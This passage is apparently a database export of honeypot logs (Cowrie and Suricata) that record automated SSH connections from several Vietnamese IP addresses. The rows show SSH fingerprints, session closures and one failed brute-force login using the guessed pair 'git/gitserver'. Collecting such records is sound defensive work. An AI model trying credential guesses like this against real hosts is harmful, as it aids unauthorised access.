"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44676, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.519290", "@timestamp": "2021-09-20T11:07:38.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23613	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:38.357248+03	2021-09-20 14:15:07.732501+03	{"_id": "pwbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1d917e941c5d", "@version": "1", "timestamp": "2021-09-20T11:07:38.357248Z", "@timestamp": "2021-09-20T11:07:38.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23614	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.407076+03	2021-09-20 14:15:07.733501+03	{"_id": "qAbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [git/gitserver] failed", "session": "d4cecbe6cd54", "@version": "1", "password": "gitserver", "username": "git", "timestamp": "2021-09-20T11:07:38.407076Z", "@timestamp": "2021-09-20T11:07:38.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23616	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.802436+03	2021-09-20 14:15:07.735501+03	{"_id": "qgbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c4d761de32d2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:38.802436Z", "@timestamp": "2021-09-20T11:07:38.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23617	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.823799+03	2021-09-20 14:15:07.737501+03	{"_id": "qwbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "12a17984d875", "@version": "1", "duration": 4.576765775680542, "timestamp": "2021-09-20T11:07:38.823799Z", "@timestamp": "2021-09-20T11:07:38.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23618	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.858265+03	2021-09-20 14:15:07.738502+03	{"_id": "rAbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "70d5de51c536", "@version": "1", "duration": 2.2600948810577393, "timestamp": "2021-09-20T11:07:38.858265Z", "@timestamp": "2021-09-20T11:07:38.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23619	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.004652+03	2021-09-20 14:15:07.739511+03	{"_id": "rQbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ab55d5dbf2c2", "@version": "1", "timestamp": "2021-09-20T11:07:39.004652Z", "@timestamp": "2021-09-20T11:07:39.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23620	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:39.105365+03	2021-09-20 14:15:07.7405+03	{"_id": "rgbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e63af5e95578", "@version": "1", "duration": 2.687852621078491, "timestamp": "2021-09-20T11:07:39.105365Z", "@timestamp": "2021-09-20T11:07:39.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23621	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.195874+03	2021-09-20 14:15:07.7415+03	{"_id": "rwbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "62e295461db8", "@version": "1", "duration": 2.8499553203582764, "timestamp": "2021-09-20T11:07:39.195874Z", "@timestamp": "2021-09-20T11:07:39.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23622	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.758146+03	2021-09-20 14:15:07.743471+03	{"_id": "ngbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cbb6f111acc1", "@version": "1", "duration": 2.4926116466522217, "timestamp": "2021-09-20T11:07:38.758146Z", "@timestamp": "2021-09-20T11:07:38.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23623	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.985731+03	2021-09-20 14:15:07.7445+03	{"_id": "nwbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "901571932a87", "@version": "1", "duration": 2.133821725845337, "timestamp": "2021-09-20T11:07:38.985731Z", "@timestamp": "2021-09-20T11:07:38.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23624	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.115537+03	2021-09-20 14:15:07.746499+03	{"_id": "oAbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c4d761de32d2", "@version": "1", "timestamp": "2021-09-20T11:07:39.115537Z", "@timestamp": "2021-09-20T11:07:39.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23625	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:39.624507+03	2021-09-20 14:15:07.7475+03	{"_id": "sAbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1564578932325000, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38834, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.624507Z", "@timestamp": "2021-09-20T11:07:39.624Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23626	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:39.559906+03	2021-09-20 14:15:07.7485+03	{"_id": "swbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1675934549129256, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41276, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.559906Z", "@timestamp": "2021-09-20T11:07:39.559Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
